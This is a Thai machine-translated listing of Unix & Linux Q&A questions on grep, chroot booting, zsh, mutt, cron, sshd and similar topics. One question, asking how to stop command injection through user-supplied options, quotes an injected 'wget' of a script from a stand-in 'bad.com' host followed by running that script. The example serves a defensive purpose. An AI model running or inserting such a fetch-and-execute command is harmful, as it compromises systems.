Unix & Linux

คำถาม & คำตอบสำหรับผู้ใช้ Linux, FreeBSD และระบบปฏิบัติการ Un * x อื่น ๆ

4
grep ในสองสามพันไฟล์
ฉันมีไดเรกทอรีที่มี cca 26,000 ไฟล์และฉันต้องการ grep ในไฟล์เหล่านี้ทั้งหมด ปัญหาคือฉันต้องการให้เร็วที่สุดดังนั้นจึงไม่เหมาะที่จะสร้างสคริปต์โดยที่ grep จะใช้ชื่อของไฟล์เดียวจากคำสั่ง find และเขียนรายการที่ตรงกันลงในไฟล์ ก่อนที่ปัญหา "รายการอาร์กิวเมนต์ยาวเกินไป" ต้องใช้เวลาประมาณ 2 นาทีในการ grep ในไฟล์นี้ทั้งหมด ความคิดใด ๆ ที่จะทำอย่างไร แก้ไข: มีสคริปต์ที่สร้างไฟล์ใหม่ตลอดเวลาดังนั้นจึงเป็นไปไม่ได้ที่จะนำไฟล์ทั้งหมดไปยังไฟล์ dirs ที่แตกต่างกัน

3
บูตเป็น chroot หรือไม่?
ฉันติดตั้ง Linux (Debian Jessie) บนฮาร์ดไดรฟ์แล้ว Drive - sda1, ext4fs และsda2- swap ฉันมี/chrootโฟลเดอร์ มีการติดตั้งระบบอื่นใน/chrootโฟลเดอร์ คำถาม: จะบอก bootmanager ได้อย่างไรให้บูตไม่ใช่ระบบหลัก (หลัก, Debian Jessie) แต่เป็นระบบใน/ chroot ? อาจมีการเปลี่ยนแปลง/menu.lstและ/chroot/etc/fstab? ( vmlinuz root=/dev/sda1/chroot?) หรืออีกหนึ่งคำถามที่แตกต่าง: เป็นไปได้ไหมที่จะติดตั้ง linux ไม่ได้อยู่ในไดเรกทอรีรากของพาร์ติชั่น แต่อยู่ในโฟลเดอร์? ( /another_linux/bin, /another_linux/home, /another_linux/etc, ... )

1
Zsh เสร็จทำให้เปิดใช้งาน shift-tab
เมื่อ zsh แสดงเมนูของความสำเร็จที่เป็นไปได้ฉันต้องการให้ฉันใช้shift-tabเพื่อเข้าถึงรายการที่เสร็จสมบูรณ์ก่อนหน้านี้ - มีตัวเลือกที่ควบคุมว่าจะใช้คีย์ใดในการเข้าถึงรายการที่เสร็จสมบูรณ์ก่อนหน้านี้หรือไม่ และถ้าเป็นเช่นนั้นสิ่งที่ฉันจะต้องเพิ่มไปยัง~/.zshrc ไฟล์ของฉันเพื่อตั้งค่า ถ้ามันสร้างความแตกต่างฉันสามารถนำทางผ่านเมนูเสร็จโดยใช้ปุ่มลูกศร แต่ฉันไม่ชอบการทำเช่นนี้เพราะปุ่มลูกศรรู้สึกผิดที่และใช้งานไม่สะดวก

3
mutt: ใช้ gpgme หรือ gpg แบบคลาสสิค?
วิกิพีเดียของ Mutt ในการรวม GnuPGและสถานที่อื่น ๆ (เช่นค่าเริ่มต้นบนเดเบียน) ใช้วิธีการเชื่อมต่อ mutt กับ gnupg แบบคลาสสิก นั่นคือหนึ่งกำหนดพวงของคำสั่งเพื่อโทรgpgโดยตรง ในทางตรงกันข้ามมีห้องสมุดที่เรียกว่าgpgmeซึ่งพยายามที่จะสร้างมาตรฐานที่แน่นอน การปิดเว็บสำหรับ "mutt gpgme" ไม่ได้ให้ผลลัพธ์ที่มีประโยชน์กับฉันเลย อะไรคือข้อดีและข้อเสียของการใช้set crypt_use_gpgme=yesใน.muttrc? ทำไมมันจึงไม่ค่อยใช้
13 mutt  gpg 

4
หยุด cron ส่งอีเมลสำหรับสคริปต์สำรองหรือไม่
ฉันได้ตั้งสคริปต์สำรองเพื่อสำรองข้อมูลโลกบนเซิร์ฟเวอร์ Minecraft ของฉันทุกชั่วโมงโดยใช้ cron แต่เนื่องจากโลกถูกแก้ไขโดยผู้เล่นตลอดเวลา tar จึงบอกฉันว่าไฟล์มีการเปลี่ยนแปลงในขณะที่อ่าน ฉันเพิ่ม --ignore-command-error ไปที่ tar ในสคริปต์และหยุดข้อผิดพลาดเมื่อฉันเรียกใช้ด้วยตนเอง แต่ cron ยังคงส่งข้อความอีเมลแจ้งว่าไฟล์ถูกเปลี่ยนแปลงในขณะที่อ่านและจบลงด้วยน้ำท่วมอีเมลของฉัน วิ่งครั้งละหนึ่งชั่วโมง ใครรู้วิธีแก้ไขปัญหานี้ นี่คือสคริปต์: filename=$(date +%Y-%m-%d) cd /home/minecraft/Server/ for world in survival survival_nether survival_the_end creative superflat do if [ ! -d "/home/minecraft/backups/$world" ]; then mkdir /home/minecraft/backups/$world fi find /home/minecraft/backups/$world -mtime +1 -delete tar --ignore-command-error -c $world/ …
13 cron  email  backup 

3
ใช้ apt รับการติดตั้งโดยไม่ต้องใส่แผ่นดีวีดี?
ฉันติดตั้ง Debian 7 โดยใช้เวอร์ชันดีวีดีดังนั้นทุกครั้งที่ฉันพยายามติดตั้งบางอย่างโดยใช้ apt-get ระบบจะขอให้ฉันติดตั้งดีวีดี มีวิธีหลีกเลี่ยง (แทรกทุกครั้งที่ dvd)
13 debian 

3
วิธีการป้องกันการฉีดคำสั่งผ่านตัวเลือกคำสั่ง?
ฉันมีแอปพลิเคชัน wrapper ที่ฉันต้องการให้ผู้ใช้ระบุตัวเลือกที่กำหนดเองเพื่อส่งผ่านไปยังโปรแกรมจำลอง อย่างไรก็ตามฉันต้องการให้แน่ใจว่าผู้ใช้ไม่ได้ฉีดคำสั่งอื่น ๆ ผ่านตัวเลือกผู้ใช้ วิธีที่ดีที่สุดในการทำสิ่งนี้ให้สำเร็จคืออะไร? ตัวอย่างเช่น. ผู้ใช้ให้: -a -b แอปพลิเคชันดำเนินการ: mysim --preset_opt -a -b อย่างไรก็ตามฉันไม่ต้องการให้สิ่งนี้เกิดขึ้น: ผู้ใช้ให้: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh แอปพลิเคชันดำเนินการ: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh ขณะนี้ฉันคิดว่าฉันสามารถล้อมรอบตัวเลือกผู้ใช้ทุกคนด้วยเครื่องหมายอัญประกาศเดี่ยว'และตัดเครื่องหมายอัญประกาศใด ๆ ที่ผู้ใช้ให้ดังนั้นคำสั่งในตัวอย่างสุดท้ายจะกลายเป็นอันตราย: mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh' หมายเหตุ: mysimคำสั่งดำเนินการโดยเป็นส่วนหนึ่งของเชลล์สคริปต์ในคอนเทนเนอร์ docker / lxc ฉันใช้ Ubuntu

2
“ Ungrep” - รูปแบบที่ไม่ตรงกัน
ฉันกำลังมองหาคำสั่งหรือสคริปต์ที่จะทำต่อไปนี้ - รับ: file1.txt: abcd efgh ijkl mnop file2.txt: 123abcd123 123efgh123 123mnop123 ฉันต้องการคำสั่งที่ทำสิ่งนี้: ungrep file1.txt file2.txt และส่งคืนสิ่งต่อไปนี้: ijkl กล่าวอีกนัยหนึ่งคือให้บรรทัดใน file1.txt ซึ่งจะไม่ส่งคืนผลลัพธ์ใด ๆ ใน gre2 ของ file2.txt ฉันรู้ว่าฉันสามารถทำได้โดยทำซ้ำผ่าน file1.txt, grepping file2.txt สำหรับแต่ละบรรทัดและจัดเก็บผลลัพธ์และแสดงผลบรรทัดใด ๆ ที่ผลลัพธ์ว่างเปล่า แต่ฉันหวังว่าจะมีประสิทธิภาพมากขึ้นในการทำเช่นนี้
13 grep 

3
/ etc / sudoers - Insults - วิธีเพิ่มรายการ insults
ฉันตั้งใจจะเล่นกับ insux linux และเพิ่มขึ้นเล็กน้อย อย่างไรก็ตามฉันสามารถคิดได้ว่าจะเพิ่มการดูถูกเดียว แต่ไม่สามารถแสดงรายการหรือตำแหน่งของไฟล์ที่มีการดูถูกได้
13 linux  sudo 

2
วิธีการทริกเกอร์ข้อผิดพลาดโดยใช้คำสั่ง Trap
ฉันใช้ Ubuntu 12.04.2 ฉันพยายามใช้คำสั่ง "trap" เพื่อจับภาพผิดปกติหรือข้อผิดพลาดในเชลล์สคริปต์ของฉัน แต่ฉันยังพยายามที่จะออกจาก "Error" ด้วยตนเอง ฉันลองใช้ทางออก 1 แล้ว แต่จะไม่ส่งสัญญาณ "ข้อผิดพลาด" #!/bin/bash func() { exit 1 } trap "echo hi" INT TERM ERR func ไม่แน่ใจว่าจะเรียกสัญญาณออก "ผิดพลาด" ด้วยตนเองได้อย่างไร

1
จะเกิดอะไรขึ้นกับธุรกรรม RPM เมื่อถูกขัดจังหวะตรงกลาง
ลองนึกภาพว่าฉันกำลังติดตั้งด้วยแพ็คเกจ RPM A, B และ C พวกเขาติดตั้งในลำดับเดียวกัน และทันใดนั้นในระหว่างการติดตั้ง B ก็มีไฟตัด 1) เกี่ยวกับสถานะหลังจากเปิด: เกิดอะไรขึ้นกับธุรกรรมนี้ มันจะกลับมาทำงานต่อหรือไม่ หรืออาจจะ RPM จะลบแพ็คเกจและไฟล์ทั้งหมดออกจากธุรกรรมนั้น? 2) เกี่ยวกับการกระทำของผู้ใช้: RPM ต้องการให้ผู้ใช้ดำเนินการดังกล่าวหรือตรวจสอบโดยอัตโนมัติเมื่อคอมพิวเตอร์เริ่มทำงานหรือไม่ การแปลง RPM มีการอธิบายเป็นหลักในแง่ของข้อผิดพลาดในการพึ่งพาหรือข้อผิดพลาดเมื่อคอมพิวเตอร์ยังคงทำงาน ...
13 linux  rpm 

1
แอ็พพลิเคชันดีฟอลต์ของ xdg-open
เมื่อฉันไม่มีdefaults.listและmimeapps.list, xdg-openเปิดด้วยtext/plain gvimแต่เมื่อฉันจะสร้างdefaults.listใน/usr/share/applications/และเพิ่มบรรทัดต่อไปนี้: [Default Applications] text/plain=emacs.desktop มันเปิดไฟล์ข้อความด้วย firefox อย่างไรก็ตามถ้าฉันย้าย/usr/share/applications/defaults.listไปที่~/.local/share/applications/mimeapps.listอื่นมันจะเปิดไฟล์ข้อความemacsตามที่คาดไว้ คำถามของฉัน: วิธีการที่ไม่xdg-openตรวจสอบว่าโปรแกรมที่จะเปิดตัวเมื่อไม่มีdefaults.listและmimeapps.list? ทำไมxdg-openใช้ Firefox เมื่อฉันเพียงแค่เขียน/usr/share/applications/defaults.list? ฉันใช้ Arch linux

1
“ ไม่มีไฟล์หรือไดเรกทอรีดังกล่าว” ในไฟล์ที่เรียกใช้งานได้ แต่มีไฟล์อยู่และ ldd จะรายงานไลบรารีทั้งหมดที่มีอยู่
ดังนั้นโดยคำสั่งอื่น ๆ ไฟล์ปฏิบัติการอยู่ แต่เมื่อฉันพยายามที่จะรันมันก็อ้างว่ามันไม่ได้มี มันไม่ใช่ตัวละครพิเศษในชื่อเพราะฉันเปลี่ยนชื่อมันเป็น "cat" และดูเหมือนว่าจะเป็นเลขฐานสองสำหรับสถาปัตยกรรมที่ถูกต้อง ... "ดูเหมือน" ฉันเดาว่าคำถามคืออะไรข้อผิดพลาดอื่น ๆ เลยททท. BESIDES ... ไฟล์ไม่ได้อยู่ที่นั่นเพราะเห็นได้ชัดคือ! ldd xls linux-gate.so.1 => (0xb77bc000) libQtGui.so.4 => /usr/lib/i386-linux-gnu/libQtGui.so.4 (0xb6cc2000) libpng12.so.0 => /lib/i386-linux-gnu/libpng12.so.0 (0xb6c98000) libSM.so.6 => /usr/lib/i386-linux-gnu/libSM.so.6 (0xb6c8f000) libICE.so.6 => /usr/lib/i386-linux-gnu/libICE.so.6 (0xb6c76000) libXrender.so.1 => /usr/lib/i386-linux-gnu/libXrender.so.1 (0xb6c6d000) libfreetype.so.6 => /usr/lib/i386-linux-gnu/libfreetype.so.6 (0xb6bd1000) libfontconfig.so.1 => /usr/lib/i386-linux-gnu/libfontconfig.so.1 (0xb6b9b000) libXext.so.6 => …
13 linux  executable 

2
จะหาความเร็วของอินเตอร์เฟส wlan ได้อย่างไร
ฉันพยายามค้นหาความเร็วของอินเทอร์เฟซเครือข่ายโดยใช้ file-descriptor มันเป็นเรื่องง่ายที่จะทำเพื่อเพียงโทรethX cat /sys/class/net/eth0/speedน่าเสียดายที่วิธีนี้ใช้ไม่ได้กับอินเทอร์เฟซไร้สาย เมื่อฉันโทรหา/sys/class/net/wlan0/speedฉันพบข้อผิดพลาด: อาร์กิวเมนต์ไม่ถูกต้อง คุณรู้หรือไม่/sys/class/net/eth0/speedว่าอะนาล็อกสำหรับอินเตอร์เฟส wlan?

3
อนุญาตให้ผู้ใช้ที่ระบุเท่านั้นเข้าสู่ระบบผ่าน ssh ที่หนึ่งพอร์ตและอื่น ๆ เพื่อเข้าสู่ระบบผ่านทางพอร์ตอื่น
ฉันมีกรณีการใช้งานดังต่อไปนี้: จำเป็นต้องอนุญาตให้ผู้ใช้เข้าสู่ระบบจากเครือข่ายที่ปลอดภัยและเชื่อถือได้ จากนั้นให้ผู้ใช้มือถือสองสาม (เพียงสองคน) เข้าสู่ระบบจากระยะไกลบนเครื่อง Linux Centos ฉันสามารถทำให้ sshd ทำงานบนพอร์ตอื่นเช่น: จากภายในก็โอเคที่จะให้มันทำงานในวันที่ 22 เพราะฉันไม่ต้องการให้พวกเขาเชื่อมต่อกับพอร์ตอื่น ๆ (ทำให้สคริปต์ยุ่งเหยิง) สำหรับผู้ใช้มือถือภายนอกฉันจะใช้ sshd บนพอร์ตอื่นพูดพอร์ต X (เพิ่มความปลอดภัย - นี่คือการตั้งค่าสำนักงานขนาดเล็ก) เพื่อความปลอดภัยที่เพิ่มขึ้นฉันหวังว่าจะกำหนดค่า sshd เพื่ออนุญาตการเข้าถึงเฉพาะผู้ใช้บนพอร์ต X (จากนั้นกำหนดค่าการแจ้งเตือนบางอย่างเพื่อให้เราสามารถทราบได้เมื่อผู้ใช้เข้าสู่ระบบผ่านพอร์ต X) อย่างไรก็ตามฉันไม่พบการกำหนดค่าใด ๆ เช่นนี้ในเอกสาร sshd หากไม่มีวิธีแก้ปัญหาเช่นนี้เป็นไปได้หรือไม่ที่จะทริกเกอร์เชลล์สคริปต์ให้ทำงานทุกครั้งที่มีคนเข้าสู่ระบบ sshd ที่พอร์ต X เสร็จสมบูรณ์? ฉันกำลังดูเอกสาร iptables เพื่อดูว่ามันสามารถเปิดการแจ้งเตือนเมื่อเข้าสู่ระบบ sshd อยู่ที่นั่น แต่ไม่สามารถเกิดขึ้นกับอะไร อินพุตชื่นชม
13 centos  sshd 

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.